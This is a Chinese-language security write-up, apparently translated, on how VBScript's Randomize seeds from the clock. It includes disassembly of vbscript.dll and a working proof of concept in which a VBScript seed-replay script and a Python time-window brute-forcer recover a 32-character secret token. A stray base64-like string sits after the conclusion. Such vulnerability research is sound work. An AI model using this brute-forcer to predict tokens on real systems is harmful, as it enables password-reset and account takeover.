VBScript的Randomize内部机制深度分析
在最近的一篇博客文章中,Dennis分享了一个有趣的C#漏洞利用案例,该案例利用了基于随机数的密码重置令牌。他演示了如何使用单数据包攻击或一些传统的数学方法来破解该系统。最近,我对一个目标进行了安全测试,该目标的依赖项是用VBScript编写的。这篇博客文章将重点介绍VBS的Rnd函数,并展示其情况更为糟糕。
目标应用
该应用程序负责生成一个秘密令牌。该令牌应该是不可预测的,并且需要保持机密。以下是令牌生成代码的粗略副本:
vbscript
Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32
function GenerateToken(chars, n)
Dim result, pos, i, charsLength
charsLength = Int(Len(chars))
For i = 1 To n
Randomize
pos = Int((Rnd * charsLength) + 1)
result = result & Mid(chars, pos, 1)
Next
GenerateToken = result
end function
我注意到的第一件事是Randomize函数在循环内部被调用。这应该在每次迭代时重新播种PRNG,对吗?这可能导致重复的值。然而,与许多其他编程语言不同,在VBScript中,在循环内使用Randomize本身并不是问题。如果再次传入相同的种子(即使是隐式的),该函数不会重置初始状态。这防止了在单次GenerateToken调用中生成相同的字符序列。如果你确实想要那种行为,可以在调用带数字参数的Randomize之前立即使用负数参数调用Rnd。
但如果这不是问题,那问题是什么?
VBS的Randomize在实践中如何工作
以下是一个简短的API分解:
vbnet
Randomize ' 使用系统时钟为全局PRNG播种
Randomize s ' 使用指定的种子值为全局PRNG播种
r = Rnd() ' 返回[0,1)范围内的下一个浮点数
如果没有显式指定种子,Randomize使用Timer来设置种子(并不完全准确,但我们稍后会讲到)。Timer()返回自午夜以来的秒数,作为Single类型值。Rnd()推进全局PRNG状态,并且对于给定的种子是完全确定性的。相同的种子产生相同的序列,与其他编程语言类似。
然而,这里存在一些问题。Windows的默认系统时钟滴答约为15.625毫秒,即每秒64个滴答。换句话说,我们每15.625毫秒才获得一个新的隐式种子值。
由于返回的值是Single类型,与Double类型相比,我们还会丢失精度。实际上,多个"种子"会四舍五入到相同的内部值。可以想象内部发生了碰撞。结果,可能的唯一序列数量远比你想象的要少!
在实践中,最多只有65,536种不同的有效播种方式(详见下文)。因为Timer()在午夜重置,相同的一组种子每天都会重复出现。
我们在本地运行了客户代码的副本以生成唯一令牌。在近10,000次运行中,我们只生成了400个唯一值。其余的令牌都是重复的。随着时间的推移,重复率越来越高。
当然,真正的目标是恢复原始的秘密。如果我们知道GenerateToken函数开始执行的时间,我们就可以实现这一目标。时间值越精确,所需的计算量就越少。然而,即使我们只有一个粗略的概念,比如"午夜后的分钟数",我们可以从00:00开始,以15.625毫秒为步长慢慢增加种子值。
概念验证
我们首先仔细检查了我们的策略。我们修改了初始代码,使用命令行提供的种子值。请注意,相同的种子被多次使用。虽然在原始代码中,种子值可能在循环迭代之间发生变化,但在实践中这种情况并不常见。我们也可以扩展我们的PoC来处理这种情况,但为了可读性,我们希望保持代码尽可能简洁。
vbscript
Option Explicit
If WScript.Arguments.Count < 1 Then
WScript.Echo "VBS_Error: Requires 1 seed argument."
WScript.Quit(1)
End If
Dim seedToTest
seedToTest = WScript.Arguments(0)
WScript.Echo "Seed: " & seedToTest
Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32
WScript.Echo "Predicted token: " & GenerateToken(chars, n, seedToTest)
function GenerateToken(chars, n, seed)
Dim result, pos, i, charsLength
charsLength = Int(Len(chars))
For i = 1 To n
Randomize seed
pos = Int((Rnd * charsLength) + 1)
result = result & Mid(chars, pos, 1)
Next
GenerateToken = result
end function
我们从另一段代码中获取了一个精确的Timer()值,并将其用作输入种子。但奇怪的是,它不起作用。由于某种原因,我们最终得到了一个完全不同的PRNG状态。我们花了一段时间才明白,Randomize和Randomize Timer()并不完全相同。
VBScript是微软在20世纪90年代中期推出的,作为Visual Basic的一个轻量级解释性子集。从Windows 11版本24H2开始,VBScript是一个按需功能(FOD)。这意味着它目前默认安装,但微软计划在未来版本中禁用它并最终移除。尽管如此,我们关注的方法是在vbscript.dll库中实现的,我们可以查看vbscript!VbsRandomize的代码:
assembly
; edi = argc
vbscript!VbsRandomize+0x50:
00007ffc`12d076a0 85ff test edi,edi ; argc是否为0?
00007ffc`12d076a2 755b jne vbscript!VbsRandomize+0xaf ; 如果不为0,跳转到Randomize <seed>路径
; 否则,从当前时间获取种子
00007ffc`12d076a4 488d4c2420 lea rcx,[rsp+20h]
00007ffc`12d076a9 48ff15... call GetLocalTime
; 计算"秒数" = hh*3600 + mm*60 + ss
00007ffc`12d076b5 0fb7442428 movzx eax,word ptr [rsp+28h]
00007ffc`12d076ba 6bc83c imul ecx,eax,3Ch
00007ffc`12d076bd 0fb744242a movzx eax,word ptr [rsp+2Ah]
00007ffc`12d076c2 03c8 add ecx,eax
00007ffc`12d076c4 0fb744242c movzx eax,word ptr [rsp+2Ch]
00007ffc`12d076c9 6bd13c imul edx,ecx,3Ch
00007ffc`12d076cc 03d0 add edx,eax
; 将毫秒转换为double,除以1000.0
00007ffc`12d076ce 0fb744242e movzx eax,word ptr [rsp+2Eh]
00007ffc`12d076d3 660f6ec0 movd xmm0,eax
00007ffc`12d076d7 f30fe6c0 cvtdq2pd xmm0,xmm0
00007ffc`12d076db 660f6eca movd xmm1,edx
00007ffc`12d076df f20f5e0599... divsd xmm0,[vbscript!_real]
00007ffc`12d076e7 f30fe6c9 cvtdq2pd xmm1,xmm1
00007ffc`12d076eb f20f58c8 addsd xmm1,xmm0
; 缩小精度
00007ffc`12d076ef 660f5ac1 cvtpd2ps xmm0,xmm1 ; double -> float转换
00007ffc`12d076f3 f30f11442420 movss [rsp+20h],xmm0 ; 存储float
00007ffc`12d076f9 8b4c2420 mov ecx,[rsp+20h] ; 作为整数位加载
; ecx现在保存32位种子候选
...
; 代码稍后使用(两种情况下)混合到PRNG状态中
vbscript!VbsRandomize+0xda:
00007ffc`12d0772a 816350ff0000ff and dword [rbx+50h],0FF0000FFh ; 保留首尾字节
00007ffc`12d07731 8bc1 mov eax,ecx
00007ffc`12d07733 c1e808 shr eax,8
00007ffc`12d07736 c1e108 shl ecx,8
00007ffc`12d07739 33c1 xor eax,ecx
00007ffc`12d0773b 2500ffff00 and eax,00FFFF00h
00007ffc`12d07740 094350 or dword [rbx+50h],eax
当我们之前说裸Randomize使用Timer()作为种子时,我们并不完全正确。实际上,它只是调用了WinApi的GetLocalTime。它计算秒加毫秒小数部分作为Double,然后使用CVTPD2PS汇编指令将其缩小为Single(浮点数)。
让我们以65860.48为例。它可以用十六进制表示为0x40f014479db22d0e。在执行所有这些数学运算之后,我们的0x40f014479db22d0e变成了0x4780a23d,并被用作种子输入。
以下是当显式给出输入时发生的情况:
assembly
; argc == 1,给出了种子
vbscript!VbsRandomize+0xaf:
00007ffc`12d076ff 33d2 xor edx,edx
00007ffc`12d07701 488bce mov rcx,rsi
00007ffc`12d07704 e8... call vbscript!VAR::PvarGetVarVal
00007ffc`12d07709 ba05000000 mov edx,5
00007ffc`12d0770e 488bc8 mov rcx,rax ; rcx = VAR* (值)
00007ffc`12d07711 e8... call vbscript!VAR::PvarConvert
00007ffc`12d07716 f20f104008 movsd xmm0,mmword [rax+8] ; 加载double有效载荷
00007ffc`12d0771b f20f11442420 movsd [rsp+20h],xmm0 ; 以64位存储
00007ffc`12d07721 488b4c2420 mov rcx,qword [rsp+20h] ; rcx = 原始IEEE-754位
00007ffc`12d07726 48c1e920 shr rcx,20h ; **取高32位**作为种子源
当我们确实指定了种子值时,它以完全不同的方式处理。它不是使用CVTPD2PS操作码进行转换,而是右移32位。所以这次,我们的0x40f014479db22d0e变成了0x40f01447。我们最终得到了完全不同的种子输入。这就解释了为什么我们无法正确地重新播种PRNG。
最后,内部PRNG状态的中间两个字节会使用这些位的字节交换XOR混合进行更新,而状态的首尾字节则保持不变。
说实话,我曾考虑过将所有内容用Python重新实现,以便更清楚地了解发生了什么。但后来Python提醒我,它可以处理几乎无限的数字(至少是整数)。另一方面,VBScript的实现实际上充满了可能的数字溢出,而Python不会产生这些溢出。因此,我保留了令牌生成代码不变,只在Python中实现了种子转换部分。
python
"""
将命令行上给出的时间范围转换为VBS-Timer()的所有值(包含两端),
以**0.015625秒**(1/64秒)为步长,
将每个值转换为Randomize <seed>所期望的特殊Double,
将种子传递给VBS_PATH,解析预测的令牌,并测试它。
用法
python brute_timer.py <起始时间> <结束时间>
示例
python brute_timer.py "12:58:00 PM" "12:58:05 PM"
python brute_timer.py "17:42:25.50" "17:42:27.00"
接受12小时制和24小时制的时间字符串;允许可选的秒小数部分。
"""
import subprocess
import struct
import sys
import re
from datetime import datetime
VBS_PATH = r"C:\share\poc.vbs"
TICK = 1 / 64 # 0.015 625秒(VBS Timer分辨率)
STEP = TICK
def vbs_timer_value(clock_text: str) -> float:
"""时间字符串转换为VBS的Timer()返回的精确Single值"""
for fmt in ("%I:%M:%S %p", "%I:%M:%S.%f %p",
"%H:%M:%S", "%H:%M:%S.%f"):
try:
t = datetime.strptime(clock_text, fmt).time()
break
except ValueError:
continue
else:
raise ValueError("无法识别的时间格式: " + clock_text)
secs = t.hour*3600 + t.minute*60 + t.second + t.microsecond/1e6
secs = round(secs / TICK) * TICK # 对齐到最近的1/64秒
# 强制使用单精度(float32)以精确匹配VBS的尾数
secs = struct.unpack('<f', struct.pack('<f', secs))[0]
return secs
def make_manual_seed(timer_value: float) -> float:
"""构建Randomize <seed>接收的Double"""
single_le = struct.pack('<f', timer_value) # 4字节 小端序
dbl_le = b"\x00\x00\x00\x00" + single_le # 低32位为零,高32位为f32
return struct.unpack('<d', dbl_le)[0] # Python浮点数(Double)
# ---------------------------------------------------------------------------
# 主程序
# ---------------------------------------------------------------------------
def main():
if len(sys.argv) != 3:
print(__doc__)
sys.exit(1)
start_val = vbs_timer_value(sys.argv[1])
end_val = vbs_timer_value(sys.argv[2])
if end_val < start_val:
print("[ERROR] 结束时间早于起始时间")
sys.exit(1)
tried_tokens = set()
unique_tested = 0
success = False
print(f"[INFO] 范围 {start_val:.5f} 到 {end_val:.5f},步长 {STEP} 秒")
value = start_val
while value <= end_val + 1e-7: # 使用小的epsilon处理浮点数舍入
seed = make_manual_seed(value)
try:
vbs = subprocess.run([
"cscript.exe", "//nologo", VBS_PATH, str(seed)
], capture_output=True, text=True, check=True)
except subprocess.CalledProcessError as e:
print(f"[ERROR] VBS执行失败,种子 {seed}: {e}")
value += STEP
continue
m = re.search(r"Predicted token:\s*(.+)", vbs.stdout)
if not m:
print(f"[{value:.5f}] VBS未返回令牌")
value += STEP
continue
token = m.group(1).strip()
if token in tried_tokens:
value += STEP
# print(f"[{value:.5f}] / seed: {seed} 重复: {token}")
continue
tried_tokens.add(token)
unique_tested += 1
print(f"[{value:.5f}] 测试 #{unique_tested}: {token} // 计算种子: {seed}")
# ...逻辑省略 - 但这里需要某种令牌验证
value += STEP
if __name__ == "__main__":
main()
攻击实施
现在,我们可以运行基础代码并获取一个半精确的当前时间值。我们的Python处理格式正确的字符串,所以我们可以使用简单的方法转换数值:
vbscript
Dim t, hh, mm, ss, ns
t = Timer()
hh = Int(t \ 3600)
mm = Int((t Mod 3600) \ 60)
ss = Int(t Mod 60)
ns = (t - Int(t)) * 1000000
WScript.Echo _
Right("0" & hh, 2) & ":" & _
Right("0" & mm, 2) & ":" & _
Right("0" & ss, 2) & "." & _
Right("000000" & CStr(Int(ns)), 6)
假设令牌恰好在17:55:54.046875生成,我们得到了字符串QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7。在我们的目标案例中,我们知道有些文件是在17:55:54创建的,这非常接近令牌生成时间。在其他情况下,信息泄露可能来自某些资源创建的元数据、日志文件中的条目等。
我们以0.015625秒(64Hz)为步长,在可疑的时间窗口内迭代时间种子,并过滤所有重复项。
我们使用1秒的范围启动了brute_timer.py脚本,并在第4次迭代中成功恢复了秘密:
less
PS C:\share> python3 .\brute_timer.py 17:55:54 17:55:55
[INFO] 范围 64554.00000 到 64555.00000,步长 0.015625 秒
[64554.00000] 测试 #1: eYIkXKdsUTC3Uz#R)P$BlVRJie9U2(4B // 计算种子: 2.3397787718772567e+36
[64554.01562] 测试 #2: ZTDgSGZnPP#yQv*M6L)#hQNEdZ5Px50$ // 计算种子: 2.3397838424796576e+36
[64554.03125] 测试 #3: VP!bOBUjLK&uLq8I2G7*cMIAZV0Lt1v* // 计算种子: 2.3397889130820585e+36
[64554.04688] 测试 #4: QK^XJ#QeGG8pHm3DxC28YHE%VQwGowr7 // 计算种子: 2.3397939836844594e+36
[...省略...]
结论
VBScript的Randomize和Rnd如果只是用来在屏幕上掷骰子还可以,但千万别考虑用它们来生成秘密令牌。 fKDlTFcPcc1J0xpM4hJULkpPJ/hcSH9zxhgau8h8gqVNN3K6n9iOBFsQhCaATrMN15F790vAtoLIOBzmYAL4Z9OE2koNrkLj1sKNTN+h7Cc=